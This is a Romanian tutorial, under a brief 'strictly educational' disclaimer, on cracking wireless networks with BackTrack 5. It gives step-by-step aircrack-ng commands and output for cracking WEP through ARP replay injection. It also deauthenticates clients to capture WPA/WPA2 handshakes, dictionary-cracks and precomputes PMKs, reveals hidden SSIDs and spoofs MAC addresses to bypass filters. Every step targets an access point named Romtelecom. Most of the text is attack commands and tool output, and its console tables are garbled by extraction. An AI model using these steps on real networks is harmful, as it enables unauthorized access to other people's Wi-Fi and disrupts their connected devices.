Documente Academic
Documente Profesional
Documente Cultură
Vulnerabilitati WLAN(WEP/WPA/WPA2/PSK)
Inainte de a pune in aplicare informatiile cuprinse in acest scurt manual,ganditi-va la motivul
care v-ar determina sa folositi toate aceste informatii.Acest manual a fost creat cu scop strict educativ urmand ca cei ce vor folosi aceste informatii in scopuri ce ar putea fi considerate mai putin
etice sa-si asume atat responsabilitatea cat si consecintele faptelor sale.
Pentru a putea aplica toate aceste informatii veti aveti nevoie de un punct de lucru dotat cu
sistemul de operare Backtrack5 . Puteti descarca acest sistem de operare accesand pagina oficiala
Backtrack http://www.backtrack-linux.org/downloads/ urmand ca mai apoi sa instalati acest sistem
de operare derivat Linux.
Mergand pe principiul conform caruia teoria si practica sunt interdependente vom trece direct
la practica urmand sa dezbatem in paralel tot ceea ce implica partea teoretica,astfel:
Vom incepe deschizand o consola (terminal) si creand o interfata de monitorizare mon0.Pentru a crea
aceasta interfata vom introduce in consola comanda:airmon-ng start wlan0
root@bt:~# airmon-ng start wlan0
Interface
Chipset
wlan0
(Fabricant)
Driver
(driver)
(monitor mode enabled on mon0)
Pentru a verifica daca aceasta interfata a fost creata vom folosi comanda airmon-ng.
root@bt:~# airmon-ng
Interface
wlan0
mon0
Chipset
Driver
(Fabricant)
(Fabricant)
(driver)
La fel de bine se poate folosi si comanda ifconfig iar in cazul in care interfata mon0 a fost creata
vom observa ca va fi afisata alaturi de toate celelalte interfate active si functionale:
root@bt:~# ifconfig
lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask 255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric 1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrer:0
mon0 Link encap:UNSPEC Hwaddr:00:02:A5:B8:B0:53:00:00:00:00:00:00:00:00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3794 errors:0 dropped:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrer:0
wlan0 Link encap Ethernet Hwaddr:00:02:A5:B8:B0:53
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrer:0
colissions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
][ Elapsed : 40 s ][ Data/Ora ]
BSSID
1C:1D:67:10:06:E5
BSSID
-10
70
7206
STATION
1C:1D:67:10:06:E5 06:02:A8:C8:C0:23
#Data , #s
88
CH Mb
11 54. WEP
PWR
Rate
Lost
-20
0 -1
WEP
Packet
Romtelecom
Probes
Romtelecom
Vom alege punctul de acces cu ESSID Romtelecom si MAC 1C:1D:67:10:06:E5 si vom initia
practic procesul de cracking impotriva punctului de acces(AP) Romtelecom executand comanda:
airodump-ng bssid 1C:1D:67:10:06:E5 c 11 w crackromtelecom mon0
-bssid adresa MAC a punctului de acces Romtelecom
-c 11 -canalul 11 sau frecventa de emisie a punctului de control
-w crackromtelecom denumirea fisierului in care vor fi stocate pachetele de date necesare
root@bt:~# airodump-ng bssid 1C:1D:67:10:06:E5 c 11 w crackromtelecom mon0
CH11
BSSID
1C:1D:67:10:06:E5
BSSID
70
9206
STATION
1C:1D:67:10:06:E5 06:02:A8:C8:C0:23
#Data , #s
168
CH Mb
11 54. WEP
WEP
PWR
Rate
Lost
Packet
-26
0-1
20
Romtelecom
Probes
Romtelecom
Putem obsera ca exista un client/dispozitiv conectat la punctul de acces Romtelecom.Acest dispozitiv ne va ajuta sa obtinem volumul de date(#Data) necesar pentru a putea duce la bun sfarsit
procesul de cracking.Am observat foarte multe tutoriale web despre aceasta modalitate de cracking
a unui punct de acces dar in acelasi timp am mai observat ca majoritatea celor ce au publicat aceste tutoriale nu au apelat si la procedura de accelerare a procesului de cracking.Oare de ce?
In continuare voi incerca atat sa explic cat sa si aplic aceasta procedura ce consta in accelerarea procesului de WEPcracking,procedura ce poate fi foarte utila referindu-ne la faptul ca perioada
necesara executarii procesului se poate reduce semnificativ.
Vom initia captura pachetelor de date ARP (ARP Packets) utilizand aireplay-ng urmand apoi sa
reinjectam (Packet injection) toate aceste pachete in retea.In acest fel vom reproduce sau simula
mai multe raspunsuri ARP(ARP Response).
Cu cat vom reproduce si reinjecta mai multe raspunsuri ARP cu atat vom mari fluxul de date
din retea,reducand astfel timpul necesar procesului de cracking.Trebuie mentinut faptul ca ARP
este un protocol ce contine un volum de date prestabilit si egal in toate cazurile .Folosindu-ne de
aceasta informatie vom putea distinge pachetele ARP incluse in traficul de date din retea oricare ar
fi aceasta:
Astfel:aireplay-ng -3 b 1C:1D:67:10:06:E5 h 06:02:A8:C8:C0:23 mon0
-3 Optiunea pentru reproducere ARP packets;
-b Adresa MAC a punctului de acces;
-h Adresa MAC a clientului/dispozitiuvului de care ne folosim pentru a reproduce pachetele ARP
root@bt:~# aireplay-ng -3 b 1C:1D:67:10:06:E5 h 06:02:A8:C8:C0:23 mon0
root@bt:~# aireplay-ng -3 b 1C:1D:67:10:06:E5 h 06:02:A8:C8:C0:23 mon0
The interface MAC (00:02:A5:B8:B0:53) doesnt match the specified MAC (-h).
Ifconfig mon0 hw ether 06:02:A8:C8:C0:23
4:02:27 Waiting for beacon frame (BSSID: 1C:1D:67:10:06:E5) on channel 11
Saving ARP requests in replay_arp-10-037987.cap
You should also start airodump-ng to capture replies.
Read 7032 packets (got 2016 ARP requests and 2010 ACKs), sent 1934 packets(500 pps)
Priviti consola in care se executa airodump-ng si veti observa ca volumul de date a crescut semnificativ,acest fapt datorandu-se procesului de accelerare produs de aireplay
CH11
BSSID
1C:1D:67:10:06:E5
BSSID
-13
70
19206
STATION
1C:1D:67:10:06:E5 06:02:A8:C8:C0:23
#Data , #s
CH Mb
16825
11 54. WEP
PWR
Rate
Lost
Packet
-26
0-1
20
Romtelecom
Probes
Romtelecom
BSSID
1C:1D:67:10:06:E5
ESSID
Romtelecom
Encryption
WEP (12336 IVs)
Rezultatele afisate pe ecran sunt mai mult sau mai putin similare rezultatelor afisate in imaginea de
mai jos,valorile reale fiind inlocuite cu valoarea X din motive lesne de inteles.
Aircrack-ng 1.0
[00:00:00] Tested XXXXXX keys (got 12456 IVs)
KB
0
1
2
3
4
5
6
7
8
9
10
11
12
depth
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
byte(vote)
XX( 512) XX( 256)
XX( 512) XX( 512)
XX( 256) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 768) XX( 512)
XX( 256) XX( 512)
XX( 768) XX( 512)
XX( 256) XX( 256)
XX( 768) XX( 512)
XX( 512) XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 512)
Asa cum spuneam in randurile de mai sus,este posibil sa nu reusim sa obtinem Wepkey-ul din
prima incercare.In acest caz singura optiune ar fi sa asteptam.
Aircrack-ng 1.0
[00:00:00] Tested XXXXXX keys (got 12500 IVs)
KB
1
2
3
4
5
6
depth
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
byte(vote)
XX( 256) XX(
XX( 512) XX(
XX( 512) XX(
XX( 512) XX(
XX( 512) XX(
XX( 768) XX(
256)
256)
256)
256)
256)
512)
XX(
XX(
XX(
XX(
XX(
XX(
256)
256)
256)
256)
256)
512)
XX(
XX(
XX(
XX(
XX(
XX(
256)
256)
256)
512)
512)
512)
XX(
XX(
XX(
XX(
XX(
XX(
256)
512)
512)
512)
256)
256)
XX(
XX(
XX(
XX(
XX(
XX(
256)
256)
256)
256)
256)
256)
XX(
XX(
XX(
XX(
XX(
XX(
256)
512)
512)
256)
512)
512)
Nu aveti de ce sa va faceti griji,in mod normal,procesul de cracking poate dura ore intregi,si
depinde strict de volumul de date capturat si reinjectat in retea.Dar folosind aireplay/ng putem
reduce aceasta perioada la ordinul minutelor.(5-10 minute).
Analizam un pic sintaxa Failed. Next try with 15000 IVs unde IV(Initialization Vector)
Procesul de cracking a fost oprit deoarece inca nu am reusit sa obtinem volumul de date necesar
pentru a putea calcula Wepkey-ul,urmand ca acest proces sa se reia automat in momentul in care
numarul de vectori de initializare obinuti ar ajunge la 20000.Odata activat , aircrack este setat sa
initializeze un proces de cracking din 5000 in 5000 de IV(aceasta valoare se poate modifica).
Atunci cand vom dispune de un numar suficient de pachete de date,Wepkey-ul va fi calculat si
rezultatul va fi afisat pe ecran asa cum vom vedea in imaginea de mai jos:
Aircrack-ng 1.0
[00:00:00] Tested XXXXXX keys (got 20756 IVs)
KB
0
1
2
3
4
5
6
7
8
9
10
11
12
depth
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
0/ 1
byte(vote)
XX( 512) XX( 256)
XX( 512) XX( 512)
XX( 256) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 512) XX( 256)
XX( 768) XX( 512)
XX( 256) XX( 512)
XX( 768) XX( 512)
XX( 256) XX( 256)
XX( 768) XX( 512)
XX( 512) XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 256)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 512)
XX( 256)
XX( 512)
XX( 256)
XX( 512)
XX( 512)
Pentru a calcula(crack) un wepkey(parola wifi) a unui punct de acces,in cazul nostru Romtelecom
avem nevoie de un numar suficient de pachete de date,parola wep putand fi calculata indiferent de
complexitatea sau lungimea acesteia.
Poate ca multi dintre voi va veti intreba Ce este un PTK sau cum se genereaza?.PTK (Pairwise Transition Key) este o cheie de criptare folosita in procesul WPA Hand Shake si se obtine prin
concatenarea mai multor factori,acestia fiind,adresa MAC a punctului de acces,adresa MAC a clientului,PMK,valoarea (Anonce) si valoarea (Snonce).Sa trecem la fapte!
Dar innainte sa incepem,trebuie mentionat faptul ca pentru a obtine parola unei retea wireless
atat procedura cat si pasii ce trebuiesc urmati vor fi aceasi indiferent daca protocolul de securitate
atacat ar fi WPA sau WPA2.
Presupunand ca am setat punctul de acces Romtelecom sa aplice o protectie WPA sau WPA2 ,
deschideti o consola Backtrack si introduceti:
airodump-ng bssid 1C:1D:67:10:06:E5 c 11 w crackromtelecomWPA mon0
BSSID
1C:1D:67:10:06:E5
BSSID
-15
70
1206
STATION
#Data , #s
10
PWR
CH Mb
11 54. WPA
Rate
Lost
TKIP
Packet
Romtelecom
Probes
In cazul in care nu exista nici un client conectat la punctul de acces Romtelecom ,va trebui sa
asteptam momentul in care un client se va conecta la acest punct de control sau sa efectuam un atac
DOS.Prin acest atac vom obliga practic toti clientii conectati sa se deconecteze,urmand ca in momentul in care vor incerca sa se reconecteze sa capturam Handshake pe care acesta il efectueaza cu punctul de acces.Atacul va decurge astfel:
1.Deschideti o consola noua Backtrack;
2.In consola executati comanda aireplay-ng -deauth 1 a 1C:1D:67:10:06:E5 mon 0
root@bt:~# aireplay-ng -deauth 1 a 1C:1D:67:10:06:E5 mon 0
06:20:06 Waiting for beacon frame (BSSID 1C:1D:67:10:06:E5) on channel 11
NB:This attack is more effective when targeting a connected wireless client(-c <clients MAC>).
06:20:06 Sending DeAuth to broadcast - BSSID: [1C:1D:67:10:06:E5]
root@bt:~#
In momentul in care un client se conecteaza la punctul de acces structura consolei va fi urmatoarea:
CH11
BSSID
1C:1D:67:10:06:E5
BSSID
70
3566
STATION
1C:1D:67:10:06:E5 06:02:A8:C8:C0:23
#Data , #s
108
CH Mb
11 54.
TKIP
PWR
Rate
Lost
Packet
-32
0-1
30
Romtelecom
Probes
Romtelecom
Dar datorita faptului ca acest manual a fost creat cu interes strict demonstrativ ne vom rezuma
la folosirea dictionarului pus la dispozitie de sistemul de operare Backtrack iar pentru a invoca acest
dictionar vom deschide o consola noua si vom introduce comanda:
aircrack-ng crackromtelecomWPA.cap w /pentest/passwords/wordlists/darkc0de.lst
Astfel:
root@bt:~# aircrack-ng crackromtelecomWPA.cap w /pentest/passwords/wordlists/darkc0de.lst
Aircrack-ng 1.0
[00:00:00] Tested 876890 keys (726.6 k/s)
EAPOL HMAC:
XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
Asa cum spuneam si in capitolul anterior exista un mod de a accelera procesul de cracking WPA
WPA2 pe care il vom dezbate si explica in continuare.
Pentru a putea accelerarea procesul de cracking WPA si a reduce perioada de timp necesara obtinerii parolei va trebui sa calculam valoarea factorului PMK(Pairwise Master Key) sau PSK(Pre-Shared
Key).Valoarea PMK se obtine prin concatenarea altor doi factori importanti precum SSID si cheie.
Vom folosi un generator PMK numit genpmk astfel deschizand o consola noua in Backtrack si introducand comanda :
genpmk -f /pentest/passwords/wordlists/darkc0de.lst d PMK-crackromtelecomWPA
-s Romtelecom
root@bt:~# genpmk -f /pentest/passwords/wordlists/darkc0de.lst d PMK-crackromtelecomWPA
-s Romtelecom
genpmk 1.1 WPA-PSK precomputation atack. <jwright@hasborg.com>
File PMK-crackromtelecomWPA does not exist, creating.
key no. 1000:XXXXXXX
key no. 2000:XXXXXXXXX
key no. 3000:XXXXX
key no. 4000:XXXXXXXX
key no. 5000:XXXXXXX
key no. 6000:XXXXXXXXXX
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
1000:XXXXXXX
2000:XXXXXXXXX
3000:XXXXX
4000:XXXXXXXX
5000:XXXXXXX
6000:XXXXXXXXXX
7000:XXXXXXXX
8000:XXXXXXXX
9000:XXXXXXX
10000:XXXXXXXX
11000:XXXXXX
12000:XXXXXXXX
13000:XXXXXXXXXXX
14000:XXXXXXXXX
15000:XXXXXXXXXX
16000:XXXXXXXXXXXX
17000:XXXXXXXXX
18000:XXXXXXXXXXXXXX
key
key
key
key
key
key
key
key
key
key
key
key
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
no.
111000:XXXXXXX
112000:XXXXXXXXX
113000:XXXXX
114000:XXXXXXXX
115000:XXXXXXX
116000:XXXXXXXXXX
117000:XXXXXXXX
118000:XXXXXXXX
119000:XXXXXXX
120000:XXXXXXXX
121000:XXXXXX
122000:XXXXXXXX
Trebuie mentionat faptul ca parola WPA/WPA2 poate fi calculata numai in cazul in care aceasta este
inclusa in dictionarul utilizat in procesul de cracking
CH11
BSSID
1C:1D:67:10:06:E5
28:EF:01:35:32:64
70
17
3566
0
BSSID
STATION
28:EF:01:35:32:64
06:02:A8:C8:C0:23
#Data , #s
108
0
CH Mb
0
6
PWR
Rate
Lost
Packet
-32
0-1
30
Romtelecom
<length: 6>
Probes
<length: 6>
Metoda consta in asteptarea momentului in care un client autorizat se va conecta la punctul de acces vizat.
Incercarea,implicit conectarea clientului la punctul de acces invizibil/ascuns va genera o solicitare
(Probe Request) din partea aceluiasi client si un raspuns (Probe Response) din partea dispozitivului(AP)
sau a punctului de acces. Atat solicitarea cat si raspunsul contin SSID-ul punctului de acces, dezvaluind
practic identitatea punctului de acces invizibil.
Asa cum veti observa punctul de acces invizibil a fost descoperit,acesta find marcat <length: 6>.
Filtrele MAC se bazeaza pe o lista ce contine adresele MAC ale clientilor autorizati.
Toate celelalte dispozitive,ale caror adrese MAC nu sunt incluse in lista de filtrare MAC gestionata de administratorul de retea, nu vor fi obtine autorizatia de conexiune la punctul de acces.
Veti putea vedea cat de usor poate fi evitat acest filtru,clonand o adresa MAC a unui client
sau dispozitiv a carui adresa MAC este inclusa in lista clientilor/dispozitivelor autorizate:
In consola BackTrack/Linux executati urmatoarea comanda:
airodump-ng c11 a bssid <MAC_punct_acces_vizat> mon0
In cazul nostru vom folosi un punct de acces cu ESSID Romtelecom si a carui adresa MAC este
1C:1D:67:10:06:E5 astfel:
CH11
][ Elapsed : 40 s ][2013
BSSID
1C:1D:67:10:06:E5
BSSID
90
#Data , #s
206
STATION
1C:1D:67:10:06:E5 06:02:A8:C8:C0:23
18
CH Mb
11 54e OPN
PWR
Rate
Lost
-14
0 -1
Romtelecom
Packet
3
Probes
Romtelecom
Unde:
-c 11 Specifica numarul canalului sau frecventa de emisie a punctului de acces;
-a
Afiseaza numai adresele MAC ce corespund clientilor ce deja au obtinut autorizatie de
conexiune la punctul de acces vizat.
In momentul in care in consola(terminal) BackTrack/Linux se va afisa adresa MAC a unui
client conectat la punctul de acces vom retine adresa MAC a clientului respectiv urmand sa folosim acea adresa pentru a obtine autorizatie de conexiune,implicit sa evita/insela filtrele MAC.
Pentru a putea shimba adresa MAC a interfatei de conexiune in asa fel incat sa coincida cu
adresa MAC a unui dispozitiv autorizat,in cazul nostru 06:02:A8:C8:C0:23 va trebui sa urmam
pasii urmatori:
1.Vom dezactiva interfata wlan0;
ifconfig wlan0 down
2.Vom schimba adresa MAC atribuita interfatei pe care noi o folosim inlocuind aceasta adresa cu
adresa MAC a dispozitivului autorizat:
macchanger -m 06:02:A8:C8:C0:23 wlan0
root@bt:~# macchanger -m 06:02:A8:C8:C0:23 wlan0
Current MAC: 00:02:A5:B8:B0:53 (Fabricant)
Faked MAC: 06:02:A8:C8:C0:23 (Fabricant)
NOTA:
Prin intermediul comenzii macchanger puteti schimba adresa MAC a interfatei wlan0 atata
timp cat valoarea noua a acesteia va fi una valabila.
Introduceti in consola macchanger --list sau macchanger -l si veti observa ca va fi afisata o
lista cu majoritatea fabricantilor si numarul de identificare MAC.De exemplu primele trei grupuri
de 2 cifre EX: 00:90:27 -Intel Corporation reprezinta amprenta fabricantului.Chiar daca voi utilizati o interfata fabricata de CISCO sa spunem,puteti schimba adresa MAC astfel incat sa conste
ca folositi o interfata fabricata de Intel astfel:
macchanger --mac 00:90:27:11:11:11 wlan0
00:90:27 amprenta fabricantului;